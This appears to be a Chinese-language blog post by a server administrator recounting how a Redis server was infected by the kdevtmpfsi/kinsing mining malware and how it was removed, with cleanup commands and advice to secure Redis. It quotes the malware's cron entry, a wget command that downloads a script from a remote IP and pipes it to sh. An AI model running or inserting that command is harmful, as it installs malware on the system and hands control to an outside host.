最近公司服務器上redis總是過幾天就斷一次,之前一直好好的,然后就上服務器上去看。一看發現內存占用變成92%,然后有兩個cpu占用100%。使用top命令查看后,發現redis有兩個進程占了很大資源,這兩個進程就是kdevtmpfsi。
然后就開始百度,百度結果是先停止kdevtmpfsi的守護進程kinsing,然后再停止kdevtmpfsi。最后去tmp目錄下把這兩個文件都刪除了。並使用crontab -l來查看有無定時任務,結果沒發現。然后以為就可以了,結果過了兩個小時,這個病毒又復活了。
最后又百度才發現,crontab -l這個命令並不是列出所有用戶的定時任務,再次查看kdevtmpfsi的運行狀態,發現是redis用戶,於是使用crontab -l -u redis。終於發現了有問題的定時任務。然后刪除了它,再重復上面過程,到現在已經過了2天,病毒沒再出現。
病毒定時任務:
wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
用到的命令如下
1. top //顯示或管理執行中的程序
2. ps -ef |grep kdevtmpfsi //查看kdevtmpfsi進程信息,記錄它pid和用戶
3. ps -ef |grep kinsing //查看kinsing 進程信息,記錄它pid和用戶
4. crontab -l -u redis //查看對應用戶的定時任務,如果2,3命令反饋結果對應用戶是redis,就像這條命令一樣
5. crontab -e -u redis //編輯定時任務,刪除病毒的定時任務
6. kill -9 [pid] //把[pid]替換城2,3命令記錄的pid,先執行kinsing的pid,再執行kdevtmpfsi的pid
7. rm -rf /tmp/kdevtmpfsi //刪除kdevtmpfsi
8. rm -rf /tmp/kinsing //刪除kdevtmpfsi
最后最重要的還是要注意redis安全問題,不然以后還是可能中病毒。一定要記得改redis默認端口,設置redis密碼,然后設置為只能內網訪問。